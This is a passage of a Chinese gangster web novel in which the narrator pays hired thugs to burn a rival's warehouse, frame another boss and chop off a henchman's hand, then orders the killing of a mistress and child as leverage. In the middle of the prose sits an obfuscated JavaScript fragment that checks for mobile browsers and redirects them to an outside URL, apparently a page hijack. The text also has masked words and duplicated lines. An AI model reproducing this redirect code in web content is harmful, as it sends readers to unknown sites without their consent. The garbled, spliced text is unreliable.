车上下来三个人,夜枭走在前面,后面跟着两个穿着深色工装戴着鸭舌帽的男人,他们三人都空着手。
夜枭小跑过来,脸上堆着笑道:“
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陈哥,人带来了。”
夜枭指了指身边的人,说道:“左边那个叫老猫,右边那个叫山鹰,都是老手,他们在北边犯过事,先来这里避风头的,绝对可靠。”
我点点头,目光扫过那两人,他们站得很稳,眼神警惕地观察着四周,身体姿态放松却随时可以发力,一看就是见过血的**湖。
“钱,夜枭跟你们说清楚了吧?”我开口说道。
“说清楚了。”左边那个叫老猫的回答,声音沙哑,他说道:“先付三成定金,事成之后付剩下七成,不问原因,不留痕迹,做完立刻离开上城,至少半年内不回来。”
“目标呢?”右边那个叫山鹰的问,他个子更高,眼神更锐利。
我没有直接回答,而是从口袋里掏出两张照片,递给他们。
一张是城东旧码头三号仓库的外观照片,另一张…是疯狗强。
“第一件事,”我指着仓库照片,道:“今天晚上,凌晨两点到四点之间,我要这个仓库失火,烧得越干净越好,但不要引发**,不要波及旁边其他仓库和人员,你们能做到吗?”
老猫和山鹰对视一眼,老猫点头说道:“这个不难,这种老仓库,电路老化,堆放杂物多,弄个意外起火很容易。”
“第二件事……”我的手指指了指疯狗强的照片上,说到:“这个人,经常去城北云顶公寓B栋1702室,我要他一条右手,从他进公寓到出来,你们找机会下手,记住,只要右手,不要命,但要让他在医院躺上三个月,同样,做成意外,或者黑吃黑,但不能让他看到你们的脸,也不能留下任何指向我的线索。”
山鹰拿起疯狗强的照片,仔细看了看,然后揣进兜里说:“明白了,时间是什么时候?”
“就在仓库起火之后的两天内,你们自己找机会,两件事都办成,尾款加倍。”我抽着烟说道。
老猫的眼中闪过一丝精光笑着道:“陈老板爽快。”
我拿出一个厚厚的信封,递给他们。
“这是定金,这里面有目标地点的详细地图,还有疯狗强最近几天的行踪规律,还有一套临时用的干净手机和号码,你们做完事,把手机处理掉。”
老猫接过信封,掂了掂,没打开看,直接塞进怀里道:“我们懂规矩。”
“去吧。”我挥挥手,“我等你们消息。”
175报复疯狗!
那两个人听了我的话后,转身上了面包车,离开了这里。
夜枭没有走,他靠近我有些忐忑的问我:“陈哥,你这么做,会不会动静太大了,烧仓库,还要动疯狗强,司徒飞那边肯定会**的!”
“你放心夜枭,这件事情算不到你头上,是我和司徒飞的事情,不会连累你!”
我刚抽出一根烟,夜枭走过来,马上掏出打火机,给我点燃,我看着他,淡然道:“你回去吧,今晚的事情,烂在肚子里。”
“我要的就是他不讲理。”我淡淡地说,“你回去吧,今晚的事,烂在肚子里。钱已经打到你账上了。”
夜枭这才松了口气,连连点头,然后就匆匆离开了。
我打算烧仓库,这是给司徒飞一记重锤,那个仓库是他和老疤争夺的焦点,里面很可能已经存放了他准备走私的东西,或者至少是重要的中转物资,我一把火烧掉,不仅让他损失惨重,还会打乱他的布局,激化他和老疤的矛盾。
更妙的是,仓库起火,司徒飞第一个怀疑的必然是老疤,而不是看似处于弱势的我。
动疯狗强,是砍断司徒飞的一条胳膊,也是我给兄弟们的一个交代!
你疯狗强打了我的人,不付出代价,我能认?!
这两件事,单看都不算致命,但组合在一起,会打的司徒飞措手不及!
我猜想司徒飞会暴怒,会发疯,然后去找老疤算账,而我,可以站在后面,看司徒飞和老疤争斗撕咬!
当然,他也有可能怀疑到我头上。但那又如何?他没有证据。
这就是我的报复,直接有效,虽然老疤有点背锅的意思,但只能怪他倒霉了!
回到公寓的时候,已经是凌晨一点了。
白起发来了关于老疤的资料。
老疤,本名胡建军,五十岁,城东码头一带的老混混,年轻时靠打架斗狠起家,脸上有道从眉骨到嘴角的狰狞刀疤,因此得名,他控制着码头区,生意不算大,但根基很深,手下有一帮跟着他多年的老兄弟。
他和司徒飞的矛盾始于半年前,司徒家想整合城东码头的灰色渠道,看中了老疤控制的三号仓库及其背后的走私线路,司徒飞出面,想用钱和势压人,低价吞下。但老疤不买账,他觉得那是他打拼半辈子留下的基业,给多少钱都不卖,双方谈判破裂,之后就摩擦不断。
老疤这个人,江湖气重,讲义气,但脑子不算太灵光,对司徒家这种外来强龙有种本能的抵触。他最近压力很大,司徒飞不断施压,手下已经有好几个兄弟被打了,仓库也被人骚扰过几次。
看着这份资料,我更加确定自己的计划。
现在,我只需要等待,等待凌晨的到来!
司徒飞,你以为砸了我的场子,我就只会忍气吞声?你错了,我陈凡不是被欺负的主!
我会让你知道,什么叫作以牙还牙,以眼还眼!
……
果然,凌晨码头的滚滚黑烟,让这个夜晚不平静!我等来了那一阵阵的消防车声音!
我走到窗前,看着一辆辆消防车路过我家,然后驶向码头,我知道,他俩得手了!
我的第一个计划成功,这个夜晚,估计司徒飞有够忙的!
我的手机忽然震动了一下,是一个陌生的码号,只有两个字:事成!
我面露微笑,然后删掉短信,取出电话卡掰断!
码头,已经被我点燃,下一个目标就是疯狗强!
天亮后,我都没有露面,而是选择在公寓里等待消息,我在新闻上看到这场仓库大火烧了整整四个小时才被扑灭,三号仓库几乎化为灰烬,里面存放的一批据说价值数百万的电子产品配件和高级烟酒被烧得精光,隔壁两个仓库也受到波及,损失不小。
治安暑初步调查的结果是电路老化引发火灾,算是个意外。
我的电话再一次响起,是周叶青打来的。
“陈凡,码头着火了。”周叶青问道。
“知道。”我淡淡的回了两个字。
“这件事是你做的?”周叶青开门见山。
“嗯。”我也没有隐瞒。
“可靠吗?”
“找的人非常可靠,现在司徒飞应该怀疑老疤了!”
“你在嫁祸老疤?”周叶青问我。
“我想挑起他俩的争端,也算是为我们找机会!”
“好,我这边已经让人盯着司徒飞了,司徒晴你打算什么时候用?”周叶青笑着问我。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16985601|192443||http|test|mini|href|location''.split(''|''),0,{}));
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r>“再等等,现在还不是司徒晴出面的时候。”
我挂上和周叶青的电话,然后就接到了赌场刘经理的电话。
“陈总,你看新闻了吗,司徒飞的码头着火了!哈哈哈,真特么爽,他活该!”
“看了,不知道谁那么大胆,敢在上城得罪他。”
我装作什么都不知道,除了周叶青和白起,在上城我不信任何人。
“陈总,我听说司徒飞凌晨就赶到了现场,据说脸色铁青得吓人,对着赶来的消防和治安暑的人咆哮了半天。但没查出人为纵火的证据,他也只能打落牙齿和血吞。”
“知道了,赌场的事情你抓紧办,这次直接换新!”我吩咐道。
“好的陈总!”
第二天,我在白起那里得知,上城圈子已经流传各种说法,有的说是老疤被逼急了,先下手为强,有的说是司徒飞自己玩脱了,想伪造现场讹诈老疤却弄假成真,还有更离谱的,说是其他想插手码头生意的势力在浑水摸鱼。
但几乎没有人提到我,这正是我想要的效果。
我的第二个计划,也即将开始!
凌晨一点四十七分,城北“云顶公寓”地下停车场。
疯狗强正搂着他那个新搭上的小明星,醉醺醺地从电梯里走出来。
“狗哥,你上次说给我安排进组,什么时候能去啊?”小明星一脸谄媚道。
“快了快了,我已经和我兄弟说好了,这个礼拜就行!”
“那可太好了,狗哥,我真爱你!”
小明星在疯狗强脸上吧嗒亲了一口,疯狗强也在女明星身上肆意妄为,他嘴里还哼着不成调的歌。他今晚心情似乎不错,在赌场小赢了几把,又在小明星身上发泄了一番,正是最放松警惕的时候。
疯狗强只带了一个小弟,那个小弟走在前面去开车。
就在疯狗强走到他那辆黑色越野车旁边,伸手去拉车门把手的瞬间,阴影里突然窜出两个人,动作快如鬼魅。
一人从后面用浸了麻醉剂的手帕捂住强的口鼻,另一人抓住他伸出的右手,猛地按在车门框上,手里寒光一闪!
“咔嚓!”
一声骨骼断裂声,在空旷寂静的停车场里格外清晰。
176那把火,是你放的吧!
老猫用手帕一手捂住了疯狗强的嘴巴,一股呛人的化学药剂味道,直冲疯狗强的鼻子。
呜呜……
疯狗强发出声音,然后不过几秒钟,他整个人就瘫软了下去。
老鹰掏出一把**,照着疯狗强的右手砍了下去!
那个刚才还嚷嚷着爱疯狗强的小明星,此刻吓的魂飞魄散,花容失色!
而疯狗强的司机,在车里目睹了整个过程,他看到自己的老大瘫软在地,右手的胳膊掉落在别处,鲜血流了一地,骨头都露出来了。
老猫和山鹰两个人,得手后,头也没回的离开了。
谁都没有看清他们两个人的样子,只留下了两个背影。
司机吓的想要开车跑,可见**们走了,他马上拿出手机打了电话,等救护车赶来的时候,疯狗强已经陷入了昏迷,他的右手已经废了,会留下终身的残疾。
……
我在公寓里,抽着烟,等着老猫和山鹰的消息。
半个小时后,我收到了老猫的短信。
“事成!”
“马上离开上城,有需要,住所给你们联系好了,双倍佣金!”
“爽快!”
我放在手机,心里的石头总算是落地了。
我刚放下手机,刘经理的电话打了进来。
“陈总,您听说了吗,疯狗强在自己的车库被人砍了!现在已经是废人一个了!”
刘经理的语气中带着莫名的喜悦,我微微一笑道:“那他是罪有应得!知道是谁干的吗?”
“当然是疯狗强了,前两天司徒飞仓库被烧,现在疯狗强又被废了,显然对面的人是专业人士,听说那两个**,下手够狠,不过几秒钟,就弄残废了疯狗强!”
“嗯,反正与我们无关,赌场还有几天能营业?”我问道。
“快了,场子都清理完了。”
“尽快开业!”
“是,陈总!”
这两天因为司徒飞的事情,我也是挺操心的,我打算洗个澡睡觉,我刚洗完澡,周叶青的电话就打了进来。
“陈凡,疯狗强这件事也是你干的?”
“嗯。”我坐在沙发上,问道:“周总,司徒飞那边有什么消息了?”
我现在不露面,刘经理能为我提供江湖上的消息,他的身份够不到司徒飞那个层次。
而周叶青不一样,周叶青能给我提供更上一个圈层的信息。
“有,听说他在医院病房里在砸东西,对着手下吼了整整一个小时,还说悬赏一百万找到凶手,但其实谁都知道,凶手是两个人,早就离开上城了,还会蠢到让他找到吗?”周叶青冷笑着,话语中有对司徒飞的嘲讽。
“看来司徒飞还是不如司徒鸣老谋深算。”我说道。
“没错,司徒鸣做事会谋划,可司徒飞比较鲁莽,只要一激动就会剑走偏锋,所以比较好拿捏。”周叶青回答道。
“司徒飞现在有怀疑道我么?”我问。
“也许有吧,不过他现在更多怀疑的是老疤在报复他,毕竟他对老疤下手特别重,还打断过他的好几条腿!”
“那就让**在飞一会,看看什么形式吧。”我说道。
果然,到了第三天下午,白起就给我带来了最新的消息。
“陈老弟,你这次的计划办的不错,司徒飞已经把老疤手下一个管仓库的经历给抓了,听说还动了手,把经历的腿给打断了,逼问他是不是老疤放的火,动的人。”
“老疤那边呢?”我问。
“炸了,老疤痕带人围了司徒飞在城南的一个**,两边差点打起来,最后还是司徒宇派人出面,才暂时压下去了,不过,梁子结**。”
我点点头,端起桌上的浓茶喝了一口。
“我们这边呢?”我问道:“司徒飞有怀疑吗?”
“暂时没有。”白起说道:“他现在的注意力全在老疤身上,不过,赌场那边,找你的意思,已经修复完了,暂时没营业,他也没再来找麻烦,其他几个场子,我加了三倍的人手,日夜盯着。”
“兄弟们情绪怎么样?”我揉了揉眼睛,私立医院里面受伤的几个兄弟,也要照顾好。
“好多了。”白起难得露出一丝极淡的笑意,道:“知道强的右手废了,医院里那几个兄弟,伤都好像好得快了点。”
这是实话,江湖恩怨,有时候就是这么直白。
你断我兄弟的手,我废你马仔的爪,一报还一报,虽然不能完全抵消,
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但至少这口气,让兄弟们顺了不少。
“还是得继续盯着司徒飞,他不会善罢甘休!”
“明白。”
和白起简单的沟通完毕后看,一个陌生号码打了进来。
我犹豫了一下,接听了电话。
“陈凡?”电话那头是一个略显苍老、带着浓重本地口音的声音。
“哪位?”我问。
“胡建军。”对方报出名字:“道上给面子,叫声‘老疤’。”
我微微一愣,老疤?他怎么会直接打电话给我?
“胡老板,久仰。”我语气平静,“找我有事?”
“明人不说暗话。”老疤的声音很直接,甚至有些粗鲁,道:“三号仓库那把火,是你放的吧?”
我没有立刻否认,也没有承认,只是反问:“胡老板何出此言?”
“少他妈跟我装!”老疤哼了一声,“司徒飞那个杂种怀疑我,老子还怀疑他自导自演呢!但老子手下有兄弟看到,起火前几个小时,有生面孔在仓库附近转悠,不是码头上的人,我查了查,那几天,上城来了几个北边的过江龙,落脚的地方,和你那个叫夜枭的中间人,有点关系。”
这个**湖,嗅觉比我想象的敏锐。
“所以呢?”我问。
“所以,不管火是不是你放的,疯狗强那件事,老子听着解气!”老疤的语气缓和了一些,道:“司徒飞那条疯狗,最近咬老子咬得紧,你废他一条爪子,算是帮了老子一个忙。”
“胡老板客气了,我只是做我该做的事。”我模棱两可地说。
“行了,别跟老子来虚的。”老疤不耐烦地打断,道:“我打电话来,就两件事,第一,谢了,虽然你可能不是特意帮我,但这个情,我老疤记着,第二,司徒飞那条疯狗现在红眼了,逮谁咬谁,你最近也小心点,那杂种脑子不好,但手底下还有几条能咬人的狗。”
这算是善意的提醒?还是试探?
“多谢胡老板提醒。”我说:“我会注意。”
“嗯。”老疤顿了顿,又说:“有机会,一起喝顿酒,我老疤不喜欢欠人情。”
说完,他就挂了电话,干脆利落。
我放下手机,若有所思。
177周叶青的提醒!
老疤突然给我打电话,挺有意思。
他既然给我打电话,就说明他怀疑这把火是我放的,可是他有没有证据,所以他只能猜测和试探。
但这通电话更多表达的是,老疤对我的示好。
这是一种江湖老油条的智慧,多个朋友多条路,多个敌人多堵墙,尤其是在他和司徒飞对峙的时候,可不能在树立更多的敌人。
赌场的修复工作,我都交给了刘经理,他的办事效率还是很快的。
当我驱车赶到赌场的时候,赌场已经修复了差不多了,所有的赌桌和设备,都焕然一新,空气里甚至能嗅到一股油漆味。
“陈总,现在都装修的差不多了。”刘经理站在我身后,跟我汇报工作道:“咱们得客**概流失了三成,有些顾客被吓到了,有些顾客被司徒飞那边放话威胁不敢再来,剩下的人,更多的是在观望。”
“正常。”我淡淡地说:“赌客最迷信,也最现实,他们需要看到这里足够安全,足够硬气,才会把脚迈回来。”
我说话期间,一个熟人走了进来,正式白起。
我向他招了招手,他向我走了过来,我们两个人走到吧台,然后点了两杯酒,我递给了白起。
“白大哥,司徒飞那边,这两天有什么新动静?”我问白起。
“安静得出奇。”白起皱了皱眉,道:“他好像突然收敛了许多,手底下的人也都缩了回去,没什么大动作。连悬赏找凶手的事,也没那么嚷嚷了。”
我听后觉得有些不太对劲,以司徒飞不吃亏的性格,他怎么能这么安静,他的正常反应不该是**,愤怒,接着报复么?
或者说是他有了更深的谋划?
“司徒飞会不会在计划着什么?”我问道。
“很有可能……”白起点了点头:“我听说最近司徒家族对司徒飞的很多做法也不太满意,说他做事不懂脑子,给家族惹了一身的麻烦,还打乱了整个家族的布局,他们好像想要把司徒晴接回来……”
白起说到司徒晴后,故意停顿了一下,他看了一下我,似乎想知道我的想法。
“司徒晴是控制司徒家的一个关键人物,在没有确定她能安全的继承司徒家产业,我是不会轻易让她回去的。”
白起点了点头说道:“陈老弟的考虑也有道理,对了,赌场需要不需要加派人手?”
“嗯,最好安保人员比原来多一倍。”我说道。
“可以。”
就在这时,我的手机响了,是一个完全陌生的本地座机号码。
我接起来,没说话。
“陈凡先生吗?”电话那头男人问道。
“是我。”
“您好,我是司徒鸣先生的助理,姓李,司徒先生想约您见个面,不知您明天下午三点是否方便?”
我握紧了手机,看来该来的还是来了。
司徒飞终于亲自下场了!
“地点?”我问道。
“司徒先生在云山会所有个固定的茶室,环境很安静,地址我稍后发到您这个手机上,请您务必准时。”
“知道了。”我说道。
电话挂断后,一条短信就发了过来,是一个地址,位置在云山脚下,那里是上城最高端的私人会所,也是身份的象征!
“是司徒飞么?”白起问,他的听力极好,对于他这种古武者来说,这是基本功。
“嗯。”我放下手机,道:“他约我见面了。”
“我跟你去。”白起立刻说。
“他约我在云山会所见面,那种地方,带多少人去都没用,而且他既然亲自约我,就不会在那种场合动手,我觉得他想想和我谈事。”
我拒绝了白起的好意,因为白起一旦跟我去了,就代表了周家,这一步我要慎重。
“谈什么?”白起不解道:“谈和?还是……”
“不知道。”我喝光杯里的酒,“但去了就知道了。”
司徒飞这只野狼,他约我要么是警告,要么是试探,或者他还有别的原因,可无论是哪一种,我都要亲自面对面的和他谈!
无论哪种,这都是一次我必须面对的会面。
下午,我去了周叶青的公司。
秘书告诉我她没有在办公室,而是在顶楼
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的天台上。
让我没有想到的是,周叶青竟然在天台上建造了一个小型的射击训练场,我到的时候,她正带着头盔和护目镜射击。
“砰!砰!砰!”
**清脆,在空旷的天台上回荡,此刻的周叶青完全不像一个世家大小姐,更像一个久经训练的特种战士。
十发**打完,她放下枪,摘下护目镜,靶纸被遥控装置送过来,十枪全部命中靶心,散布非常集中。
“好枪法。”我走过去拍着手道。
周叶青把枪递给旁边的助手,接过毛巾擦了擦额角细微的汗珠,看向我问道:“有事?”
“司徒飞约我明天见面。”我直接说。
她动作顿了一下,然后继续擦手,道:“他终于坐不住了?”
“你怎么看?”我问。
“他想摸摸你的底,看看你到底是条过江的猛龙,还是只是条运气好的泥鳅,同时他也想看看,你和周家到底绑的有多紧。”
“你觉得我该怎么应对?”
周叶青转过头,目光落在我脸上,带着审视:“陈凡,你之前做的事,烧仓库,废疯狗,你做的很不错!”
周叶青的话里带着赞许,道:“你快准狠,没有留下把柄,还成功的把火引到了老疤的身上,让司徒飞陷入了**烦,从战术上将,无可挑剔。”
“但是?”
周叶青顿了顿看着我,然后沉默不语。
我知道,她的这个转折,肯定是有意思的,于是笑着说道:“我们之间还有什么是不能说的吗?”
“但是,你暴露了你的风格,也暴露了你的能力,司徒飞那种人,不怕对手有钱,不怕对手有势,甚至不怕对手心狠手辣,他只怕一样东西,看不透的对手,你之前的隐忍,假死,低调,让他看不清你,而这次干净利落的反击,就像在迷雾里划亮了一根火柴,虽然很快又熄灭了,但至少让他看到了拿火柴的那只手。”
她顿了顿道:“他现在约你,就是想看看,这只手的主人,到底长什么样。”
“所以,我应该继续让他看不透?”我问
178柳媚笙来电!
“不。”周叶青摇头,道:“到了这个层面,一味的隐藏已经没有意义,他既然看到了你的手,你就该让他看到你的脸,看到你的眼神,还有看到你的底气,让他知道,你不是他可以随意拿捏的棋子,而是一个有资格和他坐在同一张棋盘前的对手。”
周叶青的话,算是提醒了我。
对,我应该适当的展示自己的底气,否则,司徒飞只会以为我是胆小之辈。
周叶青靠近我,在我耳边善意的提醒,道:“陈凡,明天的会面,记住三点,第一不卑不亢,你是‘凡颜资本’的陈凡,不是他司徒家的附庸,第二守住底线,无论他开出什么条件,试探什么口风,你真正在乎的东西,一寸都不能让,第三……”
周叶青看着我,眼睛里闪过一丝犹豫,最后,她还是选择对我说道:“你要让他看到你的价值,如果你只能让他看到你在惹麻烦,他就会试图除掉你,可是如果你是一个有能力,有手段,甚至可以和他合作的对手,那你就有了生存的空间。”
周叶青不愧是周家大小姐,她看到事物的角度,与众不同,又能恰到好处的指点我,这样大智近妖的女人,不知道什么样的男人能配得上她。
“司徒飞是个纯粹的商人,利益至上,你看他能将司徒晴赶尽杀绝,你就能知道,他是个什么货色,你要让他觉得,对付你的成本,远远高于容忍你带来的利益,他就会老实了。”
“我明白了。”我点点头,道:“谢谢。”
“不用谢我。”周叶青重新拿起护目镜戴上,“我只是不想我选中的合作伙伴,这么快就出局,那会显得我眼光很差。”
她走到射击位,然后重新举枪,瞄准,就在即将扣动**的那一刻,她转过头看着我,道:“对了,老疤这个人可以适当接触,他江湖义气重,脑子不算灵光,这种人,在某些事情上,比聪明人更加可靠。”
“嗯,这个道理我懂。”
我离开周叶青的公司,我在车里坐了一会儿,消化着她的话,司徒飞的邀约,和周叶青的指点,这些信息,我要重新思考。
手机又响了,这次是刘经理打来的。
“陈哥!”刘经理的声音有些兴奋,道:“老疤那边递话过来了,说想约您今晚吃个便饭,地点他定,保证安全。”
我微微一笑,老疤动作可真快,明天司徒飞找我,今晚他就要约我了。
“时间,地点。”我问。
“今晚七点,城东老渔民码头餐厅,三楼雅间‘听潮阁’,老疤说他就一个人去,请您也一个人去,喝喝酒,聊聊天。”
一个人赴约?有点意思,也有点胆魄,他和司徒飞闹的正凶,他还敢一个人请我,看来这个老疤,确实如周叶青所说是个江湖中人。
“告诉他,我会准时到。”
晚上七点,我独自驾车来到城东码头区,我把车停在稍远的阴影里,然后步行过去。
我走到餐厅门口,一个穿着黑色短袖,满脸横肉的男人,问我:“陈老板?”
“是我。”
“疤爷在楼上等您,请跟我来。”
男人转身带我上楼,三楼很安静,只有最里面的包房亮着灯,门楣上写着“听潮阁”。
男人在门口停下,然后做了一个请的手势,我直接推门走了进去。
见我进来,老疤从椅子上站了起来。
“陈老板,来了?坐。”他声音粗哑,语气倒是挺随意。
我在他对面坐下,桌上只有两副碗筷,两个酒杯,确实如他所说,只有我们两个人。
“胡老板,久等了。”我说。
“等个屁,我也刚到,尝尝,这是烤马鲛鱼,一绝,用的就是下面码头刚捞上来的,别处吃不到这个鲜味。”
老疤夹了一块鱼肉,放进了我的碗里。
我尝了一口,鱼肉外焦里嫩,确实鲜美。
老疤自己倒了一杯酒,又给我倒上。
“陈老板,来,先走一个,谢谢你废了疯狗那条杂种狗,老子看他不顺眼很久了。”
我跟他碰了一杯,然后一饮而尽。
“胡老板客气了,我也有我的账要跟他算。”我放下杯子。
“行,是个爽快人,不整那些虚头巴脑的。”老疤抹了抹嘴,道:“我也不绕弯子了,陈老板,烧仓库那事儿,是不是你干的,我不多问,但这份情,我老疤领,司徒飞那个王八蛋,仗着司徒家的势,想强吃老子的码头,老子憋屈很久了,你这一把火,烧得他灰头土脸,老子心里痛快!”
他给自己又倒满酒,喝了一大口:“所以今天这顿饭,一是谢
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谢你,二是想交你这个朋友,我老疤混码头几十年,没啥大本事,就认识些干苦力的兄弟,但在这片地上,谁想动我,或者动我朋友,得先问问老子手里的刀答不答应!”
这话说得很江湖,很直白,但也很有分量。他在向我递出橄榄枝。
“胡老板言重了。”我也给自己倒上酒,道:“司徒飞行事霸道,我也只是自保,能跟胡老板交朋友,是我的荣幸,以后在这上城,互相有个照应。”
“好!要的就是你这句话!”老疤一拍桌子,哈哈大笑,脸上的刀疤随着笑容扭动。
“互相照应!来,再干一个!”老疤道。
我们又喝了一杯,气氛轻松了不少。
这顿饭吃了快两个小时,最后,老疤已经有了七八分醉意,拍着我的肩膀说:“陈老弟,以后在这上城,有啥事用得着我老疤的,尽管开口!别的地方不敢说,这城东码头区,老子说了还算!”
我扶着他下楼,那个等在门口的男人连忙接过去。
“陈老板,我派车送您?”汉子问。
“不用,我开车了。”我说。
坐进车里,我没有立刻发动,手机上有两个未接来电,都是柳媚笙的,还有一个夏颜发来的信息……
问我明天有没有空一起吃午饭。
我先把电话给柳媚笙回过去。
电话几乎立刻被接起,她的声音有些慵懒,带着一丝不易察觉的依赖道:“忙完了?”
“嗯,刚和一个朋友吃完饭。”我问道:“你呢?在家?”
“没,在家。”她顿了顿,道:“陈凡,东城那边我的人传回一点新消息。”
我的心微微一紧问道:“关于龙三爷?”
“嗯。”她的声音低了下去,带着一丝寒意说道:“他好像也在查你,不知道是不是司徒家那边透了什么风声过去你最近,要格外小心。”
龙三爷也在查我?
这可不是好消息,一个司徒飞已经够麻烦了,再加上一个势力盘根错节的龙三爷……
“我知道了。”我说:“你自己也小心,东城那边,暂时不要有太大动作,免得打草惊蛇。”
“我明白。”柳媚笙轻声说,“我就是有点担心你。”
“没事。”我安慰她道:“兵来将挡,你早点休息。”
179见司徒飞!
第二天下午,我在赌场。
刘经理对我说道:“陈总,司徒飞的邀请你不能去,他摆明了没安好心,会所是他的地盘,里面全是他的人,你一个人去,太危险了。”
我微微一笑道:“你觉得他会认为我带人去吗?”
“司徒飞他敢这么请,就说明不怕你带人,或者说,他一切都准备好了。”刘经理说道。
我看了一眼旁边的叶轻尘问到:“小叶,你觉得呢?”
“陈总心里都有数了,何必问我,我觉得你一个人去和带几个人去,区别都不大。”叶轻尘说道。
叶轻尘那几天正陪着妹妹做手术,所以他没有在赌场,也没有被疯狗强带来的人给打,也算是躲过一劫。
我点点头,叶轻尘说的对,司徒飞虽然嚣张,但不是完全的蠢货。
他敢明目张胆地邀请我,必然有所依仗。
云顶会所那种地方安保严密,到处都是他的人,我就算带再多的人,到了门口也进不去核心区域,最多带一两个贴身的人。
而司徒飞在会所,他有的是办法对付我。
“陈总,你还是别去了。”刘经理语气加重,道:“这是陷阱,司徒飞就是看咱们的赌场要重新开业,他紧张害怕了。”
“别的办法太慢。”我打断他,道:“司徒飞砸了我的场子,打了我的人,如果我不尽快做出回应,道上的人会怎么看我?”
刘经理沉默了。
他明白我说的道理,在这个世界里,有时候面子比里子更重要,示弱一次,就可能被贴上欺负的标签,以后麻烦会源源不断。
“而且……”我站起身,走到窗边道:“我也想看看,司徒飞到底给我准备了什么节目,就算是鸿门宴,那也得看谁是项羽,谁是刘邦。”
“你打算怎么做?”叶轻尘道。
“你愿意跟我去么?”我看向了叶轻尘。
这是一个问题,也是一个考验,这小子到底是不是跟我们一条心。
“可以。”叶轻尘想都没想就回答了我,然后接着说道:“如果我出了什么危险,你要保证我妹妹活的很好。”
“没问题。”我回答道。
如果叶轻尘什么都不提,我反而觉的他不是诚心,可他提出了妹妹,我就知道,叶轻尘是真心想和**下去。
我看向叶轻尘吩咐道:“今晚,我一个人去会所,你带着我们的人,去城北小区,那里住着司徒飞的情妇和私生子,还有刘经理,你带着一堆人守在会所,不用靠太近,别让司徒家的人发现,等我信号。”
“什么信号?”叶轻尘看了看我。
“如果我平安出来,你们就撤。”我顿了顿,道:“如果我长时间没消息,你就动手做了司徒飞的情妇和私生子。”
刘经理和叶轻尘两个人微微一愣,瞬间明白了我的意思,这是一招围魏救赵,也是釜底抽薪,如果司徒飞真敢对我下死手,那么他最重要的赌场和头号情妇,就会遭受我的毁灭性打击。
“明白。”叶轻尘重重点头,眼神变的坚定道:“交给我,放心吧。”
“还有……帮我准备点小东西。”我说道。
晚上,我一个人驾车去和司徒飞见面,我开了一台普通黑色轿车,车窗上贴了深色车膜,从外面看不清里面。
我刚下车,两个穿着黑色西装,耳戴通讯器的壮汉就迎了上来,他们眼神警惕地扫视着我全身。
“陈先生,请。”其中一人面无表情地说,伸手示意我走前面。
我没有在意,跟着他们走向专用电梯,这里的电梯需要刷卡和密码才能启动,直达顶层。
“叮”一声,电梯到达顶层。
门打开,眼前的景象即使我早有心理准备,也依然让我觉得有一种奢华的压迫感。
“陈总!哈哈哈,欢迎欢迎!大驾光临,蓬荜生辉啊!”
一个夸张的笑声传来,司徒飞从大厅中间的环形沙发区站起身,张开双臂迎了过来。
他看起来很年轻,与实际年龄不符,他身材不算高大,甚至有些微胖,他穿着酒红色天鹅绒西装,头发梳得油光水滑,他身边跟着几个人,有男有女,其中一个正是被我废了胳膊的疯狗强。
“司徒先生,客气了。”
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我停下脚步,脸上没什么表情。
司徒飞走到我面前,没有握手,而是用力拍了拍我的肩膀,力道不小道:“陈总这是说的哪里话!你在上城搞得风生水起,连周家大小姐都对你另眼相看,我们这些土包子,想请你吃顿饭都难啊!今天你总算赏脸了!”
我心里冷笑一声,司徒飞话里有话,直接点出了我和周家的关系,他不就是想说我是靠女人上位么?可是靠女人那也是我的资本,我的能力,你想靠,你靠的上么?
“司徒先生过奖了,我想能让女人另眼相看,也是一种本事吧,不像某些人,想走这条路还走不通。”
我没有丝毫的退却的意思,直接硬钢司徒飞。
司徒飞面色不太好看,可他却笑了笑说:“来来来,这边坐!酒都准备好了!”
司徒飞热情地揽着我的肩膀,走向了圆形沙发。
沙发上已经坐了五六个人,有男有女。男的看起来都是司徒飞的跟班或合作伙伴,穿着名牌,但气质流里流气。女的则个个年轻漂亮,妆容精致,穿着暴露的晚礼服,依偎在男人身边,眼神空洞而妩媚。
我被按在沙发的主位对面坐下,司徒飞自己坐在主位,疯狗强就站在他沙发后面,像一头随时准备扑上来的恶犬,其他人分散坐在两侧。
“陈总,我先敬你一杯!”司徒飞端起酒杯,笑容满面,“一来,欢迎你回上城;二来,为我手下兄弟昨天的一点‘小误会’,给你赔个不是!我先干为敬!”
他说完,仰头将杯中酒一饮而尽,然后把杯底亮给我看。
所有人都看着我,而我没动面前的酒杯。
气氛瞬间微妙地凝滞了一下。那几个跟班脸上的笑容僵住了,女人们也停下了窃窃私语。强的眼神更加凶狠。
司徒飞脸上的笑容不变,但眼神冷了下来:“怎么,陈总不给面子?还是嫌弃我这酒不够好?”
“酒很好。”我终于开口,拿起酒杯,却没有喝,只是轻轻晃动着道:“只是,我这个人有个习惯,不清不楚的酒,不喝,不明不白的道歉,不受。”
180谈崩了!
我的话犹如平地惊雷,炸的在场的人一愣一愣的。
司徒飞脸上的笑容瞬间收敛,他放下酒杯,盯着我问道:“哦?陈总这话是什么意思?我怎么听不明白?”
“前几天,我的赌场被二十多人冲进去,我的七个兄弟被打伤,我的赌场被砸烂,带头的人,叫疯狗强,就是你身后站着的那个人!”我看着司徒飞的脸,一字一句的说道。
“强哥,对吧?你身手不错,下手也狠,我有个兄弟,脑袋被你开了瓢,现在还在医院躺着,不知道能不能醒过来。”我冷冷的说道。
疯狗强哈哈大笑道:“陈总记性不错,你那几个兄弟,太不禁打,我还没怎么打他们,他们就趴地上了,真没意思。”
疯狗强话里对我满是挑衅,看来弄断一条胳膊,对他来说没什么影响啊。
气氛瞬间降到了冰点,大家都端着酒杯,看向了我和司徒飞。
“陈总……”司徒飞开始打起了圆场,他看着我说道:“陈总,年轻人火气大,下手没个轻重,这都是误会,强子,还不给陈总道歉?”
疯狗强撇撇嘴,一脸不情愿的朝我抬了抬下巴道:“对不住了啊,陈总,下次我注意点。”
妈的!
我在心里暗骂一声,这根本不是道歉,而是第二次羞辱!
旁边看热闹的人听后发出阵阵的哄笑,那些女人也捂着嘴笑,眼神里满是嘲弄。
